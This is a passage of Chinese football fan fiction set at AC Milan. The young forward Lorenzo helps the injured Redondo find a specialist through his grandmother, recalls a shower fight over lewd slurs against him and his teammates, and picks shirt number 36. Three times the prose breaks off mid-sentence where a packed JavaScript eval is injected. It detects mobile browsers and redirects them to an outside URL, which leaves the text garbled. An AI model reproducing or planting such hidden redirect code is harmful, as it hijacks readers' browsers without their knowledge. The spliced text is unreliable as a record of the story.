洛伦佐收起了些笑容,转为一种认真的倾听表情,他点点头,表示理解。“离开自己从小长大的地方,肯定很难受。”他轻声说,然后语气又轻快起来,“不过现在你也是米兰的一员啦!nonno要是知道我俩认识了,肯定更高兴。下次你去,报我的名字,让他给你多加肉!”
内斯塔终于忍不住,真的笑了出来,虽然很浅。“我会的。”他说,又想到什么,“对了,不管是什么事,恭喜你,Lollo。”他指的是之前洛伦佐那副兴奋的样子。
“谢谢!”男孩脑子里不知道在想什么,表情神神秘秘的样子,“以后训练场上,可要对我脚下留情啊,桑德罗。”
“我尽量。”内斯塔说,眼里闪过促狭的光,“但如果你在训练里再过掉我太多次,我就不保证了。”
语调还是比过去要低些,但状态轻松不少的高大后卫好心提醒小前锋,“餐厅快没东西吃了,你再不去,只能啃面包了。”
“啊!差点忘了!”洛伦佐惊呼一声,小跑着冲向餐厅,还不忘回头朝他挥挥手,“回头见,桑德罗!下次一起去我nonno那儿吃饭!”
内斯塔站在原地看着他跑远的背影,像一簇小小的、不管不顾的火焰。走廊重新安静下来,他独自站了会儿,然后转身离开。
胃里刚才匆匆吃下的那点食物,此刻仿佛才散发出真正的暖意。好像,迈出第一步,也没有想象中那么难。
17. 雷东多的请求
洛伦佐推开餐厅厚重的木门时,午后的倦意正笼罩着整个空间。几个工作人员坐在角落里边吃边低声聊天。空气里飘着淡淡的咖啡凉掉后的酸气,还有番茄酱和烤面包混合的味道。
他取了餐,今天是一小份意面,几块烤鸡胸肉,一堆绿油油的沙拉。四处看了看,最后挑了个靠墙的位置坐下,这样比较有安全感。
椅子腿刮过地面时,声音在空旷里显得有点刺耳。洛伦佐往意面上撒了亿点帕玛森奶酪碎,卷起一叉子送进嘴里,嚼着嚼着,眼神就放空了,脑子里还在回放安切洛蒂办公室里那段对话,嘴角忍不住又翘起来。
就在这时,餐厅门口的光线被一个高大的身影挡了一下,居然有人来的比他还迟!
进来的是雷东多。
洛伦佐鬼鬼祟祟地偷瞄。这个时间点,一线队的人早就该吃完去午休了。
他看着那位阿根廷中场走向餐台,步子很稳,但能看出重心刻意保持着某种平衡,像走在结得不牢的冰面上。
雷东多取餐的动作也慢,夹了几块水煮鸡肉,一些烤过的西葫芦和胡萝卜,没有酱汁,没有面包,是洛伦佐绝对绝对不会主动尝试的组合!
然后,让偷瞄Lollo彻底一激灵的是,雷东多端着那个寡淡的盘子,视线在餐厅里扫了半圈,最后竟然径直朝着自己这边走了过来。
今天到底是什么日子?
洛伦佐脑子里冒出这么个念头。从安切洛蒂办公室出来到现在,不到两个小时,先是内斯塔在走廊“偶遇”,现在连几乎没说过话的雷东多都主动坐过来。
他是不是不小心踏进了什么角色扮演游戏?特殊NPC一个接一个刷新,还都往他跟前凑。
雷东多2000年夏天从皇家马德里来的时候,洛伦佐还在U15里打滚呢。
他只记得大人们唏嘘的谈论,说那个伯纳乌的中场大师,在米兰内洛初训的时候,右膝十字韧带彻底断裂。之后就是多次的手术和复出失败,整整两个赛季的空白。
心高气傲如雷东多,无法接受自己无法为球队做出贡献却白领薪水,主动选择放弃了收入,这一举动也赢得了俱乐部上下和球迷深深的尊重。
甚至可以说,正是因为他这次重伤长期缺阵,直接促使AC米兰下定决心,投入重金打造了闻名遐迩的“米兰实验室”,试图用更科学的方法管理球员健康。
这些故事洛伦佐都是零碎听来的,像听某个遥远悲剧的片段。
而这个赛季,情况稍有好转,但远非痊愈。去年12月,雷东多才艰难地完成了加盟米兰后的正式比赛首秀,只有半场时间,至今仍被膝伤反复折磨,训练和出场都极为谨慎。
如果说和内斯塔还能算是在训练场上有过照面、通过爷爷有点奇妙的间接联系,那洛伦佐和雷东多,就完全是“不近”,连“不远”都谈不上。
雷东多自带一种经历过巅峰与深渊的沉静疏离,和一线队大部分人都保持着礼貌但明确的距离。他绝不是那种在餐厅有空位的情况下还主动拼桌的人。
所以,为什么?
雷东多走到桌边,然后坐在了洛伦佐正对面的椅子上。他调整了下坐姿,把右腿稍稍伸直一些。这位足坛巨星看起来有些疲惫,不是运动后的那种,而是更深层的、源自长期消耗的倦意。
男人拿起叉子,动作依然从容,先开了口:“吃你的。吃完再说。”
“嗯嗯,好的。”洛伦佐赶紧把嘴里那口西兰花咽下去,差点噎着,他实在想不出对方坐过来的理由。难道这边阳光比较好?
他继续吃自己的意面。味道其实不错,他加了超多奶酪,很香,但现在吃进嘴里有点尝不出滋味。
小孩忍不住用眼角余光打量对面的人。
雷东多有一张很“正”的脸,额头宽阔,鼻梁高直,脸圆圆的,年轻时想必是副俊秀又带点傲气的模样。但此刻这张脸上笼罩着一种过于平静的神情,平静得像深秋的湖面,底下却积着太多掉进去就再也浮不上来的落叶。
最让人无法忽视的是他的眼睛。很大,瞳色是深的棕黑,本该很亮,现在里面像是蒙了层擦不掉的薄雾,看着盘子里的食物,又好像什么都没看。
雷东多吃得很少,没多久就放下了叉子,端起旁边的水杯慢慢喝着。他抬眼,目光落在洛伦佐脸上。那目光里有审视,但更多的是一种近乎迟疑的东西。
“吃得惯吗?”雷东多忽然问了个毫不相干的问题。
“啊?哦,还、还行。”洛伦佐赶紧点头,“挺健康的。”
“那就好。”雷东多放下水杯,双手交握放在桌上,手指无意识地互相摩挲着,“有件事,想请你帮个忙。”
来了。洛伦佐也放下餐具,默默坐直身体:“你说。”
“我的主治医生,梅尔舍曼医生,你见过的。”雷东多的语速不快,每个词都像在舌尖斟酌过,
“他今天上午给我做检查时,提到了一个名字。福尔图娜塔·罗西教授,退休的神经与运动医学专家。他说在复杂的关节术后功能重建领域,罗西教授有一些不太一样的思路。”
洛伦佐的眼睛微微睁大。罗西,他nonna的姓氏,安德烈亚(陈安)本就不是意大利人,干脆婚后随了罗西女士的姓。
“梅尔舍曼告诉我,”雷东多继续道,视线微微低垂,落在自己交握的手上,“罗西教授的孙子在俱乐部踢球,身体数据和恢复能力都非常突出。
而且,她的女儿,利贝拉医生,是一位经验丰富的无国界外科医生,接触过很多战地和极端环境下的创伤病例。”
他抬起眼,目光直直地看向洛伦佐,“他说,或许通过你,能有机会请教一下罗西教授,或者至少,听听利贝拉医生的建议。当然,这完全基于她们是否愿意和方便。”
话说完了,雷东多的目光还是停留在洛伦佐脸上,没有一丝一毫的偏移,专注到惊人。远处那几个工作人员不知什么时候已经离开,现在用餐区域只剩下他们俩个人。
雷东多再过三个月就满三十四岁了,对于这个时代的足球运动员来说,这个年龄本就已是黄昏,更何况他拖着一条反复受伤、迟迟无法恢复到理想状态的腿。
他没有多少时间可以再试错了。如果这次尝试依然看不到希望,或许最多再坚持一年,他就将不得不向绿茵场挥手告别。
以雷东多一贯骄傲的性格,他本该自己直接去寻找联系方式,登门拜访。但近三年的疼痛、失望、希望燃起又熄灭的循环,像锉刀一样磨损着人的心气。
面对这可能是最后的机会,一种复杂的、近乎恐惧的情绪攫住了他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265251|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他选择了更迂回的方式——先接触这位教授的外孙,米兰队内这个据说很不错的年轻人。
洛伦佐终于明白了这顿同桌午餐的意义。自己背后的医疗资源,可能是这位被伤病折磨了近三年的中场大师,在职业生涯黄昏中看到的最后一缕微光。
他把脸向上抬高了点,雷东多比他要高,而且他自己的身高大多长在了腿上。
他看着这个曾经用脚书写足球诗歌的男人,现在坐在他对面,语气是那样平静到近乎残忍。
洛伦佐忽然想起有一次在健身房,看见雷东多独自在角落对着镜子,极其缓慢地做一组单腿平衡练习。
镜子里的那个人,眉头因为专注和疼痛而紧锁,汗水沿着鬓角往下淌,但眼神死死盯着自己微微颤抖的膝盖,像在驯服一头不听话的野兽。
那时候洛伦佐只是匆匆一瞥就不好意思走开了,现在那个画面却无比清晰地撞回脑海里。
“我……”洛伦佐开口,发现嗓子有点干,“我会跟nonna和mami详细说你的情况。真的,很详细地讲。”他的舌头像装了弹簧,快的不得了,像是想用保证来填满这令人不安的沉默。
“但是,雷东多先生,我得说实话,我不能……我不能保证她们一定有办法。医学上的事,有时候……”
“我明白。”雷东多打断他,语气里没有失望,只有理解,“任何一种可能性都值得尝试,但没有任何结果是保证。你愿意帮忙传话,我已经很感谢了。请不要有压力。”
他甚至试图笑一下,但那个笑容只牵动了嘴角一点点肌肉,很快消散了,“最坏的结果,我早就想过很多次了。”
Mamma mia!这简直是精准狙击。
洛伦佐想起自己,他也会在脑子里反复想各种不着天际的东西,但大多是比较好玩的。而雷东多想的,却是“最坏的结果”。
“我会尽全力的!”洛伦佐这句话冲口而出,声音比自己预想的要大,在空餐厅里特别明显。他脸有点热,但神色非常认真,“我保证今天回家就问!”
“谢谢。”雷东多这两个字说得很重。他拿出手机,“留个联系方式?如果需要我过往所有的病历和影像资料,我可以准备好。”
洛伦佐乖乖低头在自己手机里存下“ Fernando Redondo”。
事情似乎谈完了,雷东多看着小孩的头顶,头发真的很多,看不见发缝。过了好一会儿,他轻声开口:“我见过你踢球。几次预备队的比赛录像,还有合练的时候。”
猝不及防的洛伦佐嘴巴微微张开,是很标准的惊讶表情。
“踢得很快乐。”雷东多继续,语气里听不出褒贬,只是一种陈述,“不像很多人,踢着踢着就忘了最开始为什么喜欢足球。”
这话太突然,小家伙都不知道该怎么接。
雷东多一直看着他,那双深棕色的眼睛里,薄雾似乎散开了一瞬,露出底下一点很遥远、很模糊的光亮。
“快乐是踢球时最珍贵的一种东西。保护好它。”他说完,撑着桌面慢慢站起来,右腿伸直时几不可察地顿了一下,“不耽误你时间了。再次感谢。”
他端起几乎没怎么动的餐盘,朝回收处走去。步子还是那样,稳定,谨慎,带着伤痛烙进身体本能的节制。
18. 拳头
洛伦佐坐在原地,看着雷东多的背影消失在门口。桌上剩下的一点意面已经彻底凉了,奶酪在表面凝结成白色的丝状。
他想起更衣室里偶尔飘进耳朵的只言片语。关于雷东多,人们说得不多,语气复杂,混合着尊敬、惋惜和一丝不易察觉的“他已经过去了”的漠然。
而关于他自己,那些话有些就难听多了。有次在浴室,他无意中听见两个不熟的青年队球员在隔壁隔间闲聊,话头不知怎么转到他身上。
“那小崽子,他妈的凭什么当战术核心。”
“听说脑子也不正常,整天说些鬼都听不懂的屁话。”
这些充满恶意的词汇,洛伦佐当时没放在心上,他打开水龙头,打算继续冲澡。足球世界就像个放大镜,既放大才华,也放大嫉妒和偏见。
但那些声音却变本加厉。
“瞧他那头发,跑起来跟个婊¥//$子似的甩来甩去,是不是床//上功夫也……”
一个粗嘎的嗓音接话,带着恶意的笑:“那可不,不然马尔蒂尼能那么‘照顾’他?还有因扎吉,上次还跟他勾肩搭背,谁知道私下怎么玩的,说不定……”
后面的话更加不堪入耳,混合着对马尔蒂尼和因扎吉极其下流猥琐的揣测,以及针对洛伦佐本人最恶毒的、涉及身体和出身的侮辱。
那些词汇肮脏黏腻,像掺着痰的污泥,一股脑泼洒过来。
洛伦佐调整水温的手指关节瞬间绷得发白。
热血“轰”地一下冲上头顶,耳膜鼓噪,盖过了一切水声。为自己,他懒得理会。但把保罗、把皮波也拖进这种肮脏的臆想里,用那么恶心的话……
他甚至不记得自己是怎么冲过去的。只记得眼前是两张被水汽模糊的、写满惊愕的丑脸。
下一秒,拳头已经砸在了最先开口那人的鼻梁上。触感很闷,有点麻,紧接着是温热的液体溅到手背上的感觉。
“有本事再说一遍?!”洛伦佐的声音嘶哑,自己都没听过。
被打的人嗷了一声,捂着脸往后踉跄。另一个反应过来,骂着脏话挥拳冲上来。
洛伦佐没学过打架,完全是凭着一股狠劲。他侧头躲开,脸颊还是被擦到了,火辣辣的。他顺势揪住对方的头发——很短,揪不住——便改为抓住背心的领口,用尽全身力气把对方狠狠掼在湿滑的瓷砖墙上。
“砰”的一声闷响,混合着痛呼。
三个人瞬间扭打在一起,在湿漉漉的地面上翻滚、撞击隔板。拳头砸在□□上的闷响,粗重的喘息,吃痛的叫骂,混杂着哗啦啦始终没关的流水声。
洛伦佐脸上挨了好几下,嘴角破了,血腥味在嘴里漫开,左肋下也疼得抽气,但他脑子里只有一片灼烧的白光,和那些挥之不去的污言秽语。他打架毫无章法,只是凭着怒意和年轻力壮的身体胡乱还击。
浴室里其他人都惊呆了,没人敢上来拉,也没人想拉,挨揍的那俩个家伙,人缘本来就臭。
最后是闻声赶来的瓦莱里奥和两个体能教练把他们扯开的。
洛伦佐被拉开时还在挣扎,胸口剧烈起伏,嘴角也破了,颧骨上一片红,金发湿漉漉地贴在脸颊和颈后,有几缕黏在渗血的伤口边。
他眼睛通红,死死瞪着对面那两个同样挂彩、模样狼狈的家伙,像头被彻底激怒的狼。
后果当然严重,甚至闹到了巴雷西那里。办公室里,气氛压抑,巴雷西脸色铁青,听着瓦莱里奥陈述事情经过。
那两个挑事的球员,是青年营里的老油条,此刻还在试图狡辩,说自己只是开玩笑。
“开玩笑?”洛伦佐猛地抬头,嘴角的伤因为动作牵扯疼得他一哆嗦,但他不管,“他们那叫开玩笑?!他们说的话,我连重复一遍都觉得恶心!”
他梗着脖子,把听到的话原封不动地复述了出来,包括那些针对马尔蒂尼和因扎吉的下流揣测。每说一个词,办公室里的空气就更冷一分。巴雷西的脸色已经从铁青变成了黑沉。
那两个人彻底哑了,脸色灰败。
“出去。”巴雷西的声音很冷,是对那两个人说的。等他们灰溜溜离开后,他看向洛伦佐,揉了揉眉心。
“洛伦佐·马里诺,”他连名带姓地叫,“在任何情况下,在俱乐部内打架都是严重的违纪行为。你可能会受伤,影响训练和比赛,这是对自己极其不负责任的表现。
禁训三天,期间去跟着青年队做场地维护,捡垃圾,打扫更衣室,好好冷静一下。”
洛伦佐抿着渗血的嘴唇,低下头:“是,教练。”
“但是,”巴雷西话锋一转,“维护自己,也维护他人的尊严,是男人该有的血性。”
洛伦佐下意识抬眼,眼神清澈了不少。
老队长叹了口气,摆摆手:“去吧,先去医务室处理一下伤口。看着点路,别又被什么绊倒了。”最后那句
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265252|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,带着点关切。瓦莱里奥带他走的时候也嘟囔了句:“明明揍的是该揍的人。”
而那两个人,调查很快明确了他们长期散布恶意谣言、拉帮结派排挤欺凌年轻球员的行为。更重要的是,他们在球场上一无是处。
没过三天,他们就被通知可以离开AC米兰了,理由很官方:“不符合俱乐部的长期发展规划”。但知情的队员私下里传,是他们触碰了底线。
天赋不足尚可锤炼,心思歪了又管不住嘴,留着是祸害。
那天傍晚,洛伦佐脸上贴着创可贴,嘴角淤青,正一个人坐在更衣室长凳上对着镜子龇牙咧嘴。马尔蒂尼走了进来,手里拿着一个冰袋,没让他自己弄,直接蹲下身,把冰袋贴在小孩肿痛的颧骨上。
男人另一只手托着洛伦佐那时候还明显的脸颊肉,轻声细语地问:“疼吗?”
“嗯。”小孩委屈巴巴的点头,嘴角忍不住往下撇成括号,又被伤口痛到缩回来。
“下次,遇到疯狗对着你叫,记得直接找拿棍子的大人。”目光落在少年嘴角和脸颊的瘀伤上,那眼神很深,“保护好你自己,比什么都重要。这是第一原则。”
洛伦佐听懂了,鼻子有点发酸,他在男人掌心轻轻蹭了下,闷闷地又“嗯”了一声,像只哼哼唧唧的幼崽。
最后为了不让家里人担心,他在马尔蒂尼家住了将近一周才敢回去。
那次打架是他为数不多的黑历史,却也像一块试金石。它没让他失去什么,反而让一些人看清了这副纤细骨架下,并非没有不容践踏的锋芒。
以及让洛伦佐真正懂得了,在这个残酷又现实的世界里,当你展现出值得被保护的价值时,真正的规则制定者会知道该清除哪些杂质。
他收拾好自己的餐盘,也站起来,走到门口时,午后的阳光正烈,刺得他眯起眼。
洛伦佐拿出手机,给外婆编辑了条消息:“Nonna,今天回家有很重要的事情想和你商量。关于我一个队友的伤。”
点击发送。
他习惯性抬头看天,米兰春日澄澈的蓝,一丝云都没有。
洛伦佐边走边琢磨着晚上回家的时候,可以去街角那家花店买束淡紫色的欧丁香,那个颜色像傍晚山丘上的霞光。
带着花回去,说话的氛围总会柔和一些。
虽然他也知道,医学不是花束能打动的。但有些请求,值得配上最好的开场。
19. 球衣号码与希望
下午剩下的时间,洛伦佐慢吞吞地收拾着他在预备队更衣室柜子里的家当。
其实也没多少。
落在这里的戒指和手链;备用的发绳、耳机和两件换洗的常服;一个磨掉了些漆的保温杯,上面印着只傻笑的卡通熊猫;还有半瓶用剩的止汗剂,一瓶柑橘调的香水。
至于职业装备,到时候一线队会发的。当然你也可以买自己喜欢的,这方面要求并不严。
预备队的更衣室比一线队那边小,柜子也旧些,漆面斑驳。时间这种东西,平时感觉不到,只有在这种收拾东西的时候,才会从各种缝隙里漏出来一点证据。
他把所有东西装进运动背包里,拉链拉上时发出顺畅的“唰啦”声。柜子空了,露出里面原本贴着的几张便签纸,有训练时间表,有队友写的蠢话,还有他自己某次心血来潮画的一只歪歪扭扭的咕咕。
洛伦佐犹豫了一下,还是把它们都撕了下来,揉成团扔进垃圾桶。
整个过程简单又迅速,但做起来却有种奇特的仪式感。好像把这些零碎的、带着他个人气息的物件从一个柜子转移到另一个柜子,他这个人也就真正地从“预备队的洛伦佐”,变成了“一线队的洛伦佐”。
当然,他知道事情没这么简单。安切洛蒂说了是正式提拔,不是临时拉上去凑数。
这意味着后面有一连串洛伦佐以前没接触过的东西:新的职业合同需要谈,还要在意甲和欧战赛事中注册报名,更新各种保险和医疗保障……
这些事不用他今天下午就全部搞定,它们会在接下来的日子里,作为背景音一样陆陆续续地完成。
洛伦佐对此倒不太担心,他家里人脉都挺广的,医生从来不缺认识靠谱专业人士的门路,这大概是医学之外的附加价值。
对洛伦佐自己而言,今天下午最具体、也最有实感的一件事,是选球衣号码。
通常来说,一个从青训营提上来的小子,在这件事上没什么发言权。给你哪个就穿哪个,大多是些没人要的大号码,反正很多人也只是临时上去踢一两场。
但洛伦佐不太一样。他八岁不到就进了米兰青训营,到现在整整八年多了,仔细算算,他生命里穿着红黑色球衣的时间,已经超过了没穿球衣的时间。
更重要的是,他踢得好,好到让管理层和教练组都愿意多给他一点耐心和期待。所以,当瓦莱里奥把一张印着一线队空闲号码的纸拍在他面前,说“挑一个吧,小子,抓紧时间”的时候,洛伦佐知道,这是一种难得的“特权”。
纸上的号码不多,从三十几到五十几都有。洛伦佐坐在长凳上,托着下巴,眼睛扫来扫去。
他想起第一次得到印号码的球衣,是U11的17号,没什么特别理由,就是发到他手里正好是那件。后来就是U15和现在的8号和24号,都是随手安排的。号码对他来说就像名字后面的一个标点,有也行,没有也不影响踢球。
洛伦佐脑子里乱糟糟的,想起了二头身的时候nonna带他去逛集市,面对一摊子五颜六色的糖果,他也是这样挑花了眼。
35、36、37……
36。
这个数字跳进他眼睛里时,现在已经八头身的洛伦佐愣了一下。
唉?这个好像不错哎!你看,它里面有3,保罗的号码;也有6,巴雷西队长的传奇号码。两个传奇的号码拼在一起,变成了一个崭新的、还没人穿过的36。
就像把两棵大树的种子埋在一块儿,长出一棵属于自己的新苗。既连着根,又向着自己的天。
洛伦佐越想越觉得这主意妙。
他没什么复杂的心理活动,比如承载历史开启未来之类的,就是单纯觉得这巧合简单得让人想笑,组合起来好看,寓意也吉利。他拿起笔,在“36”旁边打了个勾。
“就这个了。”他把纸递还给瓦莱里奥。
老教练扶了扶眼镜,看了眼那个勾,又看了眼洛伦佐亮晶晶的眼睛,嘟囔了一句:“36?行吧,反正空着也是空着。”
他把纸收好,“号码报上去了,印衣服什么的很快。其他零零碎碎的事,明天再接着弄。现在,赶紧回家,别在这儿碍事。”
洛伦佐拎着包,脚步轻快地离开了。背上好像真的多了个看不见的“36”,轻飘飘的,又有点实实在在的份量。
带着欧丁香回到家,爷爷奶奶已经在准备晚饭了。厨房里飘出橄榄油煎蒜片的香气,滋滋作响。洛伦佐把花插在花瓶里,又把包扔在自己房间椅子上,换了身舒服的居家服。
吃饭时他聊了聊选号码的事,福尔图内说“36是个好数字”,斯特拉则更关心他明天第一天正式跟一线队训练会不会紧张。
“不紧张,”洛伦佐往嘴里塞了一叉子意面,“倒是有点像转学。”
“转学可没这么隆重。”爷爷笑道。
心满意足的饭后,洛伦佐帮忙洗了碗,然后溜进自己房间,关上门。他从抽屉里翻出耳机戴上,打开手机,拨通了外婆的视频。
屏幕很快亮起来,福尔图塔娜穿着深蓝色的针织开衫,银白的头发在脑后挽成一个简洁的发髻,鼻梁上架着细边眼镜,看样子是在卧房里。
“Ciao, Lollo.”外婆微笑,眼镜后的眼睛弯成温柔的弧度。
洛伦佐盘腿坐在床上,把手机靠在枕头上:“Ti voglio bene(爱你),nonna!我的一线队球衣号码选了36号……”
洛伦佐迫不及待地分享,然后又想起正事,懊恼的拍拍自己脑袋瓜,表情认真起来,“不过,有件更重要的事。是关于我一个队友,费尔南多·雷东多,他的膝盖……”
他把下午雷东多的请求,以及对方伤病的大致情况描述了一遍。屏幕那头,福尔图塔娜安静地听着,表情渐渐变得专注。
她退休多年,但一直通过以前的同事、学生和专业期刊,保持着对医学前沿动态的了解。
等洛伦佐说完,她沉思了一会儿,缓缓开口:“膝关节是个精密的‘小房间’,手术打开了它,但有时候‘房间’里的平衡被破坏后,很难再完全恢复原样。”高智大人尽量用笨笨脚球男能理解的话解释。
“那有办法吗?”洛伦佐都不敢大声呼吸。
“我不能在这里隔着屏幕做任何保证,Lollo。”福尔图塔娜的声音很谨慎,但带着一种专业上的沉着,“不过,你所说的症状,让我想起一种这几年开始尝试的综合恢复思路,不仅仅是针对受伤的韧带,更关注整个关节的动力链、神经控制和周围的软组织状态。”
她眯起眼睛,似乎在回忆:“我早期带过的一个学生,现在在美国的梅奥诊所,他最近的研究方向,正好涉及这一块。如果雷东多先生最新的病情资料,和我推测的情况没有太大出入,我想,我的这位学生或许能提供一些帮助。”
洛伦佐激动的头发都好像更蓬了:“真的吗?nonna!你是说,有希望?”
“希望总是有的,尤其是在医学上,永远有新的方法和思路在探索。”福尔图塔娜温和地说,“但前提是,我们需要看到最客观、最新的资料。
不可能让他像以前一样在场上飞奔,但至少可以让他的职业生涯能更体面、更持久地延续下去,而不是再过一两年就被迫画上句号。”
“我这就去问他要资料!”洛伦佐哇哇叫,这简直是游戏里那种隐藏任务,做完就能解锁完美结局的感觉!
“别急,Cucciolo(乖乖)”福尔图塔娜笑了,“发给我就好。我看了之后,会联系我的学生。如果他认为可行,我会把联系方式给雷东多先生,让他们直接沟通具体的治疗方案。
我们只是搭一座桥,路要他自己去走。”
“明白!谢谢nonna!你最好了!”洛伦佐对着屏幕用力亲了一下,惹得外婆笑骂他“没正形”。
挂断视频后,他立刻打开聊天软件,给雷东多发信息:「Nonna想看看你最新的伤病检查报
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265253|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
告、影像资料等,越详细越好。她说如果情况和她预想的一样,她在美国那有个学生可能能帮你。」
消息几乎是秒回:「谢谢。需要我怎么配合?」
「把资料发给我邮箱就行。Nonna说她来看。」
「好。我现在整理。」
二十分钟后,洛伦佐的邮箱提示音响起。他点开那封来自“Fernando Redondo”的邮件。附件很大,下载进度条缓慢地向右爬行。
等待的时间里,他心不在焉地刷了会儿社交媒体,首页上跳出来几张好友发的动态:加图索在骑自行车,车座高度没调,矮的像在骑宝宝车;因扎吉和弟弟西蒙尼搂在一起开心大笑,嗯…各有风情;还有马尔蒂尼穿着红色背心健身的照片,盯着镜头的样子很性感。
洛伦佐挨个点了赞,并回复了[爱心]。
资料下载完成后,他直接转发给了外婆的邮箱,附上一句简短说明:「Nonna,资料来了。你有空的时候看就好,不急。」
做完这一切,他看了眼时间,晚上九点半。小孩赶忙洗漱,换上睡衣。
再窝到床上时,他抓起手机,看到外婆五分钟前发来的回复:「粗略看了,和我推测的吻合。已联系我的学生,你把联系方式直接给雷东多先生吧,让他们直接沟通。附:早点睡,明天第一天训练要精神饱满。」
下面跟着一串英语的电话号码和邮箱地址,还有福尔图塔娜给雷东多的回复。
洛伦佐把这些一股脑转发给雷东多,手指戳戳戳加了句:「???(*?)? ??完美完成任务!」
发送,睡觉。
同样的夜色下,米兰另一处房子里,雷东多坐在书桌前。
笔记本电脑屏幕亮着,显示着刚收到的邮件。
那串梅奥诊所的联系方式静静地躺在正文里,还有罗西教授简短的说明:「我的学生迭戈·马丁内斯教授专攻运动员术后的神经肌肉功能重建,他已了解你的大致情况,欢迎你直接与他约时间详谈。」
雷东多盯着那几行字看了很久。
久到屏幕保护程序自动启动,黑色的背景上,彩色的图案缓缓浮动、变幻。他移动鼠标,唤醒屏幕,那几行字再次清晰起来。
他打开浏览器,在搜索栏输入“迭戈·马丁内斯,美国梅奥诊所”。搜索结果跳出来,第一篇就是这位医生的学术主页。
照片上的男人很年轻,大概四十出头,深色头发,笑容温和。履历表长得需要滚动好几下才能看完。
雷东多一篇篇点开那些发表在顶级期刊上的论文标题。每个标题他都看得懂,又好像都看不懂。那些专业术语像一堵墙,但墙后面,他隐约看到了……光。
三年了。无数次诊断和手术,数不清的康复疗程,希望升起又破灭,疼痛成为最熟悉的伴侣。他早已习惯了用平静近乎麻木的外壳包裹起所有情绪,维持着最后的体面。
可是当这封邮件真的出现在收件箱里,当那条可能的路真的在眼前展开时——
那些武装溃不成军。
雷东多缓缓向后靠进椅背,抬起手,捂住了脸。
肩膀开始颤抖,起初很轻微,像寒颤,后来渐渐控制不住。没有声音,一点声音都没有,只是整个上半身都在压抑地起伏。
指缝间有湿润的痕迹渗出来,沿着手背的脉络往下淌,滴在睡衣的布料上,晕开一小片深色的水渍。
他哭得无声无息,像个怕吵醒什么的人。眼泪滚烫地流过脸颊,流进嘴角,是咸的。
他尝着那味道,忽然想起很久以前,在伯纳乌的草坪上,进球后躺倒在地上,看见的天空。那么高,那么蓝,草叶扎在后颈,有点痒。
现在他伸出的手,也许、可能、终于……能够再次碰到些什么了。
哪怕只是一点点。
在这个安静的房间里,一个被伤病偷走了三年时光的男人,正独自吞咽着这份过于汹涌、以至于不敢发出任何声响的希望。
20. 意足奢再添一员
洛伦佐侧躺着,盯着窗帘边缘透进来的微光,脑子慢慢从睡眠的泥沼里拔出来。过了好几秒才反应过来:不对,天怎么还是黑的?他摸过床头柜上的手机,屏幕亮起来的光刺得他眯起眼。
06:03,自己一定是疯了。
意大利人嘛,尤其是洛伦佐这种被长辈惯着长大的,对早起这件事向来没什么好感。
他以前的日常节奏是这样的:七点半闹钟响,按掉,再响,再按掉,在被窝里总共蛄蛹了有二十分钟后才把自己一点点拔出来,像只冬眠结束但还没完全清醒的土拨鼠。
然后洗漱、套上衣服、叼块饼干、冲出家门,八点半左右杀到米兰内洛,暴风吸入早餐,然后屁颠屁颠踩着死线跟队友汇合开始训练。
洛伦佐把手机扣回去,翻了个身,把脸埋进枕头里。闹钟还早呢,还有将近两个小时可以睡,幸福。他闭上眼睛,努力让呼吸变得绵长。
没用。
身体像被什么东西从内部轻轻撑着,躺平了不舒服,侧躺也不舒服,连枕头的位置都不对了。
他翻来覆去折腾了五分钟,最后放弃挣扎,从床上坐起来,头发乱得像个被炸过的鸟窝。他抓了抓,手指陷进去就找不到出路。算了,反正待会儿要重新弄。
洛伦佐起身拉开窗帘,看着窗外将亮未亮的天,忽然觉得有点好笑。
好吧,他承认今天确实特殊。
一线队。正式跟队训练。不是偶尔合练的那种,是每天都要去,柜子都给你腾好了的那种。
洗漱的时候他含着牙膏沫对着镜子看了下,还没睡醒的那点浮肿已经消了,皮肤状态还行,眼睛里也没有血丝。
他刷牙刷得格外仔细,多刷了半分钟,又用冷水泼了泼脸,彻底清醒了。
洗完脸,他对着镜子开始处理头发。
平时他都是让头发随便散着,爱怎么长怎么长,训练前随便用发带一箍就完事。
但今天他多花了十分钟,把上半部分的头发拢起来,连带额前的那些,一起向后扎。
扎得不紧,松垮垮的,留出一点随意感,几缕碎发从鬓角那里散下来,贴着耳廓。下半部分的头发就自然地散着,落在胸前和后背。
这样整张脸就完整地露出来了。洛伦佐看着镜子里的自己,有那么一瞬间的陌生感。他凑得近了些,好奇地盯着那张脸看了又看。
好像确实有点不一样了。
小时候他脸颊肉嘟嘟的,加上那头金毛和蓝眼睛,随便往哪儿一站就能骗到老太太们的糖果和“angioletto(小天使)”的惊呼。
